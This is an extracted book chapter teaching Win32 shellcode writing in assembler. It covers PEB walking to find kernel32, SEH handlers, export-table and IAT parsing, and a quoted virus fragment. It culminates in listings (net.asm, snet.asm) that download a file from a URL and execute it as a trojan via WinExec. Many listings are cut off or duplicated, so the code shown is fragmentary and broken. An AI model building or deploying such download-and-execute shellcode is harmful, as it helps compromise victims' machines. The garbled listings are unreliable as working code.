Creating Shellcodes in The Win32 Environment
Creating Shellcodes in The Win32 Environment
Chapter 21
What is a shellcode?
Why is a shellcode usually written in assembler? First of all, this is due to size.
As we know, the compilers of C and other programming languages generate
longer code. In additional, we cannot use relative memory calls, as they will
cause errors.
This is, however, not true of the flow control mechanism found in modern
programming languages. This is used to handle exceptional events, and error
situations in particular. The programming languages that support this
mechanism allow us to define the code fragment where an exception occurs,
and how to handle an exception if one is reported.
Creating shellcodes in the Win32 environment 416
Types of shellcodes
How is the kernel address useful to the shellcode? If the shellcode wants to
call an API function such as LoadLibraryA, it has to know the address of this
function in memory. LoadLibraryA returns the handle to the module
specified in the argument.
There are several methods of searching the API function address. For some of
these the method of determining the kernel address in memory is not
necessary. Another method uses hard-coded addresses. As the name
indicates, we save all the addresses of the API function, and at a minimum
those used by our shellcode, as hard-coded addresses. Unfortunately, our
shellcode won’t work on systems in which the addresses are different and this
will probably cause an exception in the program. This in turn will result in a
memory protection violation, due to which the application will terminate.
The “name base address” module is the address under which the kernel has
been mapped, while “API name base address” means the mapping address of
a specific API function.
We will now look at a short program that uses hard-coded addresses and,
using the LoadLibraryA function call (WSOCK32.DLL), returns the handle to
the library WSOCK32.DLL. To be more precise, this is an address under
which the function is mapped to the process memory. Then using the
function GetProcAddress(handle, "WSAStartup") we obtain the address of
the function API - WSAStartup, which informs the system that the process
will use the Winsock library.
;-----------------------------------------------------------------------
;compilation:
; tasm32 /w0 /m1 /m3 /mx s2,,
; tlink32 -Tpe -aa s2,s2,,import32.lib,,
; PEWRSEC.COM s2.exe
;-----------------------------------------------------------------------
_error:
push 0 ; error code (optional)
mov eax,ExitProcess_w2k_sp4 ; EAX=address of the ExitProcess
; function
call eax ; terminate the process
end start
;----------------------- for Windows 2000 Service Pack 4 end ----------
We will now focus on finding the kernel address of the machine under attack.
Each process has a process environment block, or PEB. In systems based on
the NT kernel (Windows NT/2000/XP/Vista) this structure is located under a
hard-coded address, namely 7FFDF000h. It contains very useful information
regarding the process that is currently running. It is also possible to obtain
the PEB address from the TEB (thread environment block), whose structure
appears as follows:
struct TEB {
struct _NT_TIB NtTib;
void* EnvironmentPointer;
Creating shellcodes in the Win32 environment 419
The pointer to the PEB (in the TEB structure) is offset by 30h (48d) bytes
from the beginning of the structure.
;-----------------------------------------------------------------------
;s_k1.asm
;compilation:
; tasm32 /w0 /m1 /m3 /mx sk_k1,,
; tlink32 -Tpe -aa s_k1,s_k1,,import32.lib,,
; PEWRSEC.COM s_k1.exe
;-----------------------------------------------------------------------
.586p ; standard directives
.model flat
.data
db '‘This is only so the compiler does not return an error similar to extern
ExitProcess',0
.code
Start:
mov eax,dword ptr fs:[30h] ;EAX=pointer to the PEB
int 3 ;stop for debugger
exit: push 0
call ExitProcess
end start
;-----------------------------------------------------------------------
The TEB is located under the address fs:[0] (fs is the selector), while the field
struct _PEB* ProcessEnvironmentBlock is at fs:[30h], as mentioned earlier.
The program has already found the PEB address. For the sake of simplicity,
we will omit the description of all structure elements and will focus only on
those that will be really useful to us. Specifically, the pointer to the structure
Creating shellcodes in the Win32 environment 420
struct PEB_LDR_DATA {
DWORD Length; ; 0
BYTE Initialized; ; 4
void* SsHandle; ; 8
struct LIST_ENTRY InLoadOrderModuleList; ; 0ch
struct LIST_ENTRY InMemoryOrderModuleList; ; 14h
struct LIST_ENTRY InInitializationOrderModuleList; ; 1ch
};
struct LIST_ENTRY {
struct LIST_ENTRY* Flink; ; 0
struct LIST_ENTRY* Blink; ; 4
};
The most useful structure for us will be the one under the address 1Ch; that
is, the InInitializationOrderModuleList. This is a list of modules located
(mapped) in the process memory, including the kernel32.dll module we are
looking for.
The above situation can be illustrated more clearly by the modified example
s_k1.asm (/CD/Chapter21/Listings/s_k1_2.asm):
;-----------------------------------------------------------------------
;s_k1.asm
;compilation:
; tasm32 /w0 /m1 /m3 /mx sk_k1,,
; tlink32 -Tpe -aa s_k1,s_k1,,import32.lib,,
; PEWRSEC.COM s_k1.exe
;-----------------------------------------------------------------------
.586p ; standard directives
.model flat
.data
db '‘This is only so the compiler does not return an error similar to extern
ExitProcess',0
.code
start:
Creating shellcodes in the Win32 environment 421
comment $
dd *forwards_in_the_list ; ESI+0
dd *backwards_in_the_list ; +4
dd imagebase_of_ntdll.dll ; +8
dd imagetimestamp ; +44h
As can be seen, the fields under the addresses 0 and 4 at the beginning of the structure
(forwards_in_the_list and backwards_in_the_list) are pointers to the next structures,
which contain information about various modules and create the chain. The zero
structure, which we currently have in the ESI register, contains an imagebase of the
ntdll.dll module. We will use the forwards field to obtain information about the module
kernel32.dll, which is our target.
end start
;-----------------------------------------------------------------------
After starting up the program, when the debugger stops on the instruction
“int 3,” we should notice that the address under which the kernel is mapped is
located in the EAX register.
This can be checked with the command “what eax” in the Softice debugger,
but this shouldn’t present any trouble if the reader is using another debugger.
In this way we have found the kernel address. There are many methods of
searching for the kernel address in memory. They are most often used when
creating viruses. Similar techniques include memory scanning using the SEH
(structured exception handling) gateway, which intercepts application
Creating shellcodes in the Win32 environment 422
exceptions; hard saving of several kernel addresses for each system version;
and the use of the SEH gateway.
There are many possibilities, but PEB is the best and quickest solution in this
case.
Before we proceed with an example code using the SEH gateway, we will
discuss this mysterious structure. If a program carries out an incorrect
instruction, or refers to a nonexistent memory address, it will cause an
exception, due to which the whole application will terminate with a message
such as “xxx.exe has executed a forbidden operation...” There are many
examples of such messages.
However, it doesn’t always have to end like this. When we set the SEH
gateway, at the moment it creates an exception, the program, instead of
terminating, jumps to our procedure. As a result we take over the exception
and our application doesn’t have to stop working.
;-----------------------------------------------------------------------
;withoutgateway.asm – an example application to create the exception
;compilation:
; tasm32 /w0 /m1 /m3 /mx withoutgateway,,
; tlink32 -Tpe -aa withoutgateway,withoutgateway,,import32.lib,,
; PEWRSEC.COM withoutgateway.exe
;-----------------------------------------------------------------------
.586p ; standard directives
.model flat
.data
db '‘This is only so the compiler does not return an error similar to extern
ExitProcess',0
start:xor eax,eax
call eax ; call the exception, jump into the address 0
exit:
push 0
call ExitProcess
;-----------------------------------------------------------------------
Creating shellcodes in the Win32 environment 423
;-----------------------------------------------------------------------
;gateway.asm – example of installing the SEH gateway
;compilation:
; tasm32 /w0 /m1 /m3 /mx gateway,,
; tlink32 -Tpe -aa gateway,gateway,,import32.lib,,
; PEWRSEC.COM gateway.exe
;-----------------------------------------------------------------------
.586p ; standard directives
.model flat
.code
start:
; gateway installer
push offset our_handler ; upload the address of our gateway onto the
; stack
push dword ptr fs:[0] ; upload the address of the old gateway onto
; the stack
mov dword ptr fs:[0],esp ; create a new gateway!
xor eax,eax
call eax ; call the exception, jump to the address 0
exit:
push 0
call ExitProcess
; gateway uninstaller
our_handler:
pop dword ptr fs:[0] ; reset gateway
pop eax ; remove the address of our gateway
push 0 ; messagebox type
call put_1 ; upload the address of the message box title
db "Exception found",0 ; onto the stack
put_1:
call put_2 ; upload the address of the message box text
db "I am in the SEH gateway, I found an exception",0 ; onto the stack
put_2:
push 0 ; window handle (NULL)
call MessageBoxA ; call the MessageBoxA function
jmp exit
end start
;-----------------------------------------------------------------------
Creating shellcodes in the Win32 environment 424
Below there is the same program written in the C language using the
construction __try and __except, the equivalents of our installer and
uninstaller in assembler (/CD/Chapter21/Listings/gateway.c).
//-----------------------------------------------------------------------
// gateway.c
// Microsoft Visual C Compiler, Studio version 6.0
//-----------------------------------------------------------------------
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
int OurHandler(void) {
// inform the user about catching the exception using a messagebox
return MessageBox(NULL,"Exception found","I am now in the SEH gateway,
I caught the exception ",MB_ICONINFORMATION);
}
__try {
_asm {
xor eax,eax // reset the EAX register
call eax // jump to the address zero -> exception
}
The reader can find a detailed SEH description under the address:
http://msdn.microsoft.com/library/default.asp?url=/library/en-
us/debug/base/structured_exception_handling.asp
;-----------------------------------------------------------------------
;The code below is a fragment of the Win32.ls virus code,
Creating shellcodes in the Win32 environment 425
@nextKernel:
lodsd ;upload the value of the current
;variable with the kernel address to EAX
push esi ;save pointer to the current
;element in the table with kernels
inc eax ;see if we haven’t checked
;the last kernel yet
jz @bad ;if yes, exits without
;finding the kernel
@bad1:
pop dword ptr fs:[0] ;reset the old SEH gateway
pop eax ;clear the stack
pop ebp ;load EBP
;(offset correction)
pop esi ;load ESI (ESI is
;a pointer to the variable with the address
;of the kernel)
jmp @nextKernell ;jump and check the next address
@bad:
pop eax ;take off from the EAX stack
jmp @returnHost ;it wasn’t possible to find
;the kernel address -> exit
@kernellSEH:
push dword ptr fs:[0] ;set a new gateway
mov dword ptr fs:[0],esp
mov ebx,eax ;EAX store in EBX
;(EBX=imagebase from the variable)
xchg eax,esi ;ESI=EAX
xor eax,eax ;reset EAX
lodsw ;read one word from
;the value of the ESI register
not eax ;check if this value is not MZ
Creating shellcodes in the Win32 environment 426
cmp eax,not 'ZM' ;'MZ' beginning of the file .exe -> see
;below file specification
jnz @bad1 ;no -> check the next address
mov eax,[esi + 03ch] ;we have found the MZ tag,
;now check if
;if the file is the PE file
add eax,ebx ;add to the EAX imagebase
xchg eax,esi ;ESI=EAX
lodsd ;read 4 bytes under ESI
not eax ;negate EAX
cmp eax,not 'EP' ;is the file
;a portable executable file
;if yes, we have the kernel!
With the kernel address, we can read the addresses of the API function! So we
proceed to the next section of this chapter.
http://www.wheaty.net
API functions
Like any other program, a shellcode has to execute specific operations, such
as create a file. In most cases it has to use the API functions to do this. And
here we face a problem. A normal program has all the addresses of the
functions it uses written in an import address table (IAT), but a shellcode
doesn’t have any information about the addresses of the API functions. We
can of course obtain these addresses, like the kernel address, but it lowers the
shellcode efficiency considerably. To solve this problem, we search the export
section of a specific library or the IAT.
The export section is a specific structure of the PE file, in which all the
information about the functions being exported is saved. The address under
which the export section is located is 078h towards the PE header (which is of
course relative).
How can we get to the export section of a specific library? The next example
illustrates how this task can be performed
(/CD/Chapter21/Listings/sexp.asm).
;-----------------------------------------------------------------------
;sexp.asm – example of gaining address of the kernel’s export section
;compilation:
; tasm32 /w0 /m1 /m3 /mx sexp,,
; tlink32 -Tpe -aa sexp,sexp,,import32.lib,,
; PEWRSEC.COM sexp.exe
;-----------------------------------------------------------------------
.586p ; standard directives
.model flat
.data
db '‘This is only so the compiler does not return an error similar to extern
ExitProcess',0
.code
start:
delta:
pop ebp ;delta handle
sub ebp,offset delta ;in this case it should amount to
;zero for obvious reasons
mov eax,dword ptr fs:[30h] ;EAX = pointer to the PEB block
mov eax,dword ptr [eax+0ch]
mov esi,dword ptr [eax+1ch] ;EAX=PEB:InInitializationOrderModuleList
end start
This is the beginning of the export section (we will focus only on fields that
interest us):
...
018h dd? quantity of names being exported by the library
01ch dd? addresses of the functions being exported by the library
(pointer to the table)
01ch dd? addresses of the function names being exported by the library
(pointer to the table)
024h dd? address of the function indexes (pointer to the table)
...
As we can see, the kernel32.dll library exports 827 API functions. The last
exported function is lstrlenW. We should remember that the indexing starts
from zero, therefore tdump saved the lstrlenW function under the position
0826.
;-----------------------------------------------------------------------
;sapi.asm – example of searching the API function address from the
; export section
;compilation:
Creating shellcodes in the Win32 environment 430
.data
db '‘This is only so the compiler does not return an error similar to extern
ExitProcess',0
.code
start:
;here I used
;an algorithm and a method coded
;by mort (much faster
;than mine)
@nextAPI:
dec dword ptr [esp + 0ch] ;decrease by one (see above)
having_api:
@lastAPIDone:
add esp,018h ;clear the stack
ret
exit:
push 0
call ExitProcess
our_function_name db "CreateFileA",0
our_fuction_length =$-offset our_function_name
_CreateFileA_adres dd 0
end start
The above code of the kernel’s export section gains the API address of the
CreateFileA function and writes it to the variable _CreateFileA_address. So
the call of the CreateFileA function somewhere in the shellcode area should
look like the following:
push argument_XX
Creating shellcodes in the Win32 environment 433
push argument_X
...
call dword ptr [ebp+_CreateFileA_adres] <- calls the API function, whose
address is defined in the variable
Therefore, when we already know how to find the address of a specific API
function, we can proceed with the next section of this chapter.
IAT is a table of addresses for all functions imported from a specific library. If
we use the MessageBoxA function in our program, information appears
about it in the IAT.
2) INETINFO.EXE
Image base 01000000
Imports from KERNEL32.dll
GetProcAddress(hint = 0153)
LoadLibraryA(hint = 01df)
GetModuleHandleA(hint = 013a)
3) WDM.EXE
Image base 00400000
Imports from KERNEL32.dll
LoadLibraryA(hint = 022e)
GetModuleHandleA(hint = 0167)
GetProcAddress(hint = 0189)
As can be seen, all the applications have imported the same three functions.
How can they be useful to us? If we know the address of the LoadLibraryA
function (we get it from the IAT), assuming that the application has imported
this function, we will be able to easily create a handle to a specific library.
Then, with the GetProcAddress function we will obtain the address of the
function we were looking for.
Creating shellcodes in the Win32 environment 434
The only condition to place and make such a mechanism correctly work in
the shellcode is to know the imagebase value of the application under attack.
This doesn’t constitute a problem for us, because this value is usually
constant. The import address table structure appears as follows:
UNION
ID_characteristics DD ? ;0 for the last
;import descriptor
ID_OriginalFirstThunk DD IMAGE_THUNK_DATA PTR? ;relative pointer
;to
;the structure
;IMAGE_THUNK_DATA
ENDS
ID_ForwarderChain DD ?
ID_Name DD BYTE PTR? ;relative pointer
;to the name of the
function
;imported
ID_FirstThunk DD IMAGE_THUNK_DATA PTR? ;(relative)
;import address table
UNION
TD_AddressOfData DD IMAGE_IMPORT_BY_NAME PTR? ;pointer to the
;structure
;IMAGE_
;IMPORT_
;BY_NAME
TD_Ordinal DD ?
;ordinal
In the next example the reader will find the application code, which illustrates
how to refer to the import address table (/CD/Chapter21/Listings/siat.asm).
Creating shellcodes in the Win32 environment 435
;-----------------------------------------------------------------------
;siat.asm – example of referring to the IAT (import address table)
;compilation:
; tasm32 /w0 /m1 /m3 /mx siat,,
; tlink32 -Tpe -aa siat,siat,,import32.lib,,
; PEWRSEC.COM siat.exe
;-----------------------------------------------------------------------
.586p ; standard directives
.model flat
.data
db '‘This is only so the compiler does not return an error similar to extern
ExitProcess',0
.code
start:
exit:
push 0
call ExitProcess
As we already know how to reach the import address table, we will now focus
on an example that finds the call of the function GetModuleHandleA or
LoadLibraryA, which will be useful for us to gain the library handle of the
kernel, among other things (/CD/Chapter21/Listings/iat.asm).
Creating shellcodes in the Win32 environment 436
;-----------------------------------------------------------------------
;iat.asm – example that finds the address of the function LoadLibraryA
;or GetModuleHandleA from Import Address Table
;compilation:
; tasm32 /w0 /m1 /m3 /mx iat,,
; tlink32 -Tpe -aa iat,iat,,import32.lib,,
; PEWRSEC.COM iat.exe
;-----------------------------------------------------------------------
.data
db '‘This is only so the compiler does not return an error similar to extern
ExitProcess',0
.code
start:
iat_loop:
cmp dword ptr [edi],0 ;is IAT empty?
je exit ;if yes, exit
check_it:
mov edx,[edi]
;ID_OriginalFirstThunk=point
;to addresses of the API
;names
add edx,dword ptr [ebp+imagebase] ;normalization into virtual
;address
mov eax,[edi+10h]
;ID_FirstThunk=pointer to
;API function addresses
Creating shellcodes in the Win32 environment 437
loop_iat:
mov ecx,[edx] ;ordinal
add ecx,dword ptr [ebp+imagebase] ;normalize
add ecx,2 ;ECX points to the name
cmp dword ptr [ecx],'MteG' ;is
;GetModuleHandleA this
;function?
jne next__ ;if not, check if it is not
;LoadLibraryA
cmp dword ptr [ecx+4],'ludo' ;as above
jne next__
push ebx
call eax ;call the function
;LoadLibraryA
;or GetModuleHandleA
mov dword ptr [ebp+kernel_addr],eax ;save the kernel address
int 3 ; interruption for debugger
; in EAX imagebase of the
; kernel
jmp exit ;terminating the work
next__:
cmp dword ptr [ecx],'daoL' ;is LoadlibraryA this
;function
jne next_ ;no, continue searching
cmp dword ptr [ecx+4],'rbiL'
je near_jump ;if yes, perform
;this function!
exit: push 0
call ExitProcess ;exit
;-=-=-=-=-=data-=-=-=-=
imagebase dd 0400000h ;imagebase value of our
Creating shellcodes in the Win32 environment 438
;program
The above example searches through the IAT import table for the functions
LoadLibraryA and GetModuleHandleA, which are then used to gain the
address of the library kernel32.dll. As we can see, this method seems to be less
complex than searching through the export section. So now let’s proceed with
the final section of this chapter.
InternetOpen function:
HINTERNET InternetOpen(
LPCTSTR lpszAgent,
DWORD dwAccessType,
LPCTSTR lpszProxyName,
LPCTSTR lpszProxyBypass,
DWORD dwFlags
);
This function notifies the system that the user (or application) is going to use
the functions provided by the wininet library.
Creating shellcodes in the Win32 environment 439
Parameters:
>lpszAgent – name of the application that will use the function (character chain)
>dwAccessType – assumes the following values:
INTERNET_OPEN_TYPE_PRECONFIG_WITH_NO_AUTOPROXY
INTERNET_OPEN_TYPE_PROXY -the above two
-determine the proxy
>lpszProxyName – if our program doesn’t use a proxy, the value of this parameter is
0.
>lpszProxyBypass – exceptions for proxy, if we don’t use a proxy the value is 0.
>dwFlags – Assumes the following values:
HINTERNET InternetOpenUrl(
HINTERNET hInternet,
LPCTSTR lpszUrl,
LPCTSTR lpszHeaders,
DWORD dwHeadersLength,
DWORD dwFlags,
DWORD_PTR dwContext
);
This function opens a source (it works with the HTTP, FTP, and GOPHER
protocols).
INTERNET_FLAG_EXISTING_CONNECT
INTERNET_FLAG_HYPERLINK
INTERNET_FLAG_IGNORE_CERT_CN_INVALID
INTERNET_FLAG_IGNORE_CERT_DATE_INVALID
INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP
INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS
INTERNET_FLAG_KEEP_CONNECTION
INTERNET_FLAG_NEED_FILE
INTERNET_FLAG_NO_AUTH
Creating shellcodes in the Win32 environment 440
INTERNET_FLAG_NO_AUTO_REDIRECT
INTERNET_FLAG_NO_CACHE_WRITE
INTERNET_FLAG_NO_COOKIES
INTERNET_FLAG_NO_UI
INTERNET_FLAG_PASSIVE
INTERNET_FLAG_PRAGMA_NOCACHE
INTERNET_FLAG_RAW_DATA
INTERNET_FLAG_RELOAD
INTERNET_FLAG_RESYNCHRONIZE
INTERNET_FLAG_SECURE
BOOL InternetQueryDataAvailable(
HINTERNET hFile,
LPDWORD lpdwNumberOfBytesAvailable,
DWORD dwFlags,
DWORD dwContext
);
InternetReadFile function:
BOOL InternetReadFile(
HINTERNET hFile,
LPVOID lpBuffer,
DWORD dwNumberOfBytesToRead,
LPDWORD lpdwNumberOfBytesRead
);
Below is the code of a program that downloads and starts up the trojan.exe
file (/CD/Chapter21/Listings/net.asm).
;-----------------------------------------------------------------------
;net.asm – example, which downloads the file and executes it
;using the WININET function
;compilation:
; tasm32 /w0 /m1 /m3 /mx net,,
; tlink32 -Tpe -aa net,net,,import32.lib,,
; PEWRSEC.COM net.exe
;-----------------------------------------------------------------------
.data
db '‘This is only so the compiler does not return an error similar to extern
ExitProcess',0
.code
start:
call delta ;the above code counts
delta:
pop ebp ;delta handle
;(offset correction)
sub ebp,offset delta ;in this case it should
;be zero
;for obvious reasons
download_file:
push 0 ;flags
push 0 ;proxybypass
push 0 ;proxy name
push 1 ;INTERNET_OPEN_TYPE_DIRECT ;type
call upload_application_name
Creating shellcodes in the Win32 environment 442
upload_application_name:
call InternetOpen
mov ebx,eax ;handle to the EBX register
xor eax,eax
push eax ;0
push INTERNET_FLAG_RAW_DATA ;flag
push eax ;0
push eax ;0
call request ;our HTTP call
db HTTP_REQUEST,0
request:
push ebx ;handle with InternetOpen
call InternetOpenUrlA ;make connection
mov ebx,eax ;EBX = handle
mov eax,edx
push edx ;save EDX
inc eax
push eax ;we reserve as much as
;the size of the file trojan.exe+1 is
push GMEM_ZEROINIT or GMEM_FIXED ;allocation type
push edx
lea eax,[ebp+_byte_number]
push eax ;variable, to which
;the number of the downloaded bytes
;is returned
push edx ;number of bytes to download
file_name:
call _lcreat ;create file FILE.EXE
mov ebx,eax ;handle of the file created in EBX
exit:
push 0 ; terminate the process
call ExitProcess
_byte_number dd 0
_bytes dd 0
push ebx ;file handle
call _lclose ;close
push 2
call file_name1
db "C:\FILE.exe",0 ;file name
file_name1:
call WinExec ;execute trojan code
exit:
push 0 ; terminate the process
call ExitProcess
_byte_number dd 0
_bytes dd 0
end start
Putting the knowledge derived from this chapter together, we will now see
what a pseudo-shellcode looks like that combines the mechanism of
searching API addresses from the IAT with downloading and starting up a
Trojan horse program (/CD/Chapter21/Listings/snet.asm):
;---------------------------------------------------------------------------------------
--
;snet.asm – example of shellcode that searches for addresses of the
;API function from the import address table, downloads trojan from the site, and starts
it up.
;compilation:
; tasm32 /w0 /m1 /m3 /mx snet,,
; tlink32 -Tpe -aa snet,snet,,import32.lib,,
; PEWRSEC.COM snet.exe
Creating shellcodes in the Win32 environment 444
;---------------------------------------------------------------------------------------
--
.586p ; standard directives
.model flat
extern ExitProcess:PROC ;API functions, which are
;useful for us
extern GetProcAddress:PROC
extern MessageBoxA:PROC
extern Beep:PROC
extern LoadLibraryA:PROC
include win32api.inc ;header file
HTTP_REQUEST equ "http://127.0.0.1/2.exe"
IMAGE_BASE equ 0400000h
@pushsz macro string ;macro that uploads to the stack
local next ;the address of the character chain
call next
db string,0
next:
endm
.data
db '‘This is only so the compiler does not return an error similar to extern
ExitProcess',0
.code
start:
start:
iat_start: ;calculating offset
call iat_delta ;(delta handling)
iat_delta: pop ebp
sub ebp,offset iat_delta
mov eax,IMAGE_BASE ;EAX=IMAGE_BASE value
mov edi,eax ;EDI=EAX=IMAGE_BASE value
push eax ;upload EAX (IMAGE_BASE) to stack
add eax,[eax+3ch] ;EAX=PE file header
add edi,[eax+80h] ;EDI=IAT (import table)
pop ebx ;EBX=IMAGEBASE (from stack)
near_jump:
next__:
cmp dword ptr [eax],'daoL' ;is
jne next_
exit_iat:
iat_size=$-offset iat_start
start_shellcode:
lea edx,[ebp+wininet] ;EDX=address, under which
;WININET.DLL is located
lea esi,[ebp+_API] ;ESI points to names of the
;API functions
obtain_library_address:
push edx ;to EDX stack (library name)
call dword ptr [ebp+_LoadLibraryA] ;map the given module to memory
;of the process
xchg ebx,eax ;EBX = library handle
get_addr:
inc esi ;ESI = ESI + 1
push esi ;upload to stack (NAME OF THE
;API FUNCTION)
push ebx ;handle returned by
;LoadLibraryA
Creating shellcodes in the Win32 environment 446
download_file:
push 0 ;flags
push 0 ;proxybypass
push 0 ;proxy name
push 1 ;INTERNET_OPEN_TYPE_DIRECT ;type
@pushsz "e" ;application name
call dword ptr [ebp+_InternetOpen] ;call InternetOpen
mov ebx,eax ;handle to the EBX register
push 2 ;attributes
@pushsz "C:\PLIK.exe" ;file name
call dword ptr [ebp+_WinExec] ;start up trojan [-;
_SPLOIT_DATA:
; DECLARATIONS OF VARIABLES
_GetProcAddress dd 0 ;BFF76DA8h
_LoadLibraryA dd 0 ;BFF776D0h
_bytes dd 0
Creating shellcodes in the Win32 environment 448
_WIN_INET:
wininet db "WININET.DLL",0
kernel db "KERNEL32.DLL",0
to_wininet=$-offset _WIN_INET
_API:
temp db 0
_InternetOpen db "InternetOpenA",0
_InternetOpenUrl db "InternetOpenUrlA",0
_InternetQueryDataAvailable db "InternetQueryDataAvailable",0
_InternetReadFile db "InternetReadFile",0,'Y'
krnl:
db 0
_GlobalAlloc db "GlobalAlloc",0
_WinExec db "WinExec",0
_lcreat db "_lcreat",0
_lwrite db "_lwrite",0
_lclose db "_lclose",0
db 'Y'
shellcode_size=$-offset start
end start
Below are the addresses of websites where you can obtain more information
on this topic. We hope you will build upon the knowledge you have gained.
http://wheaty.net
http://29a.host.sk
http://msdn.microsoft.com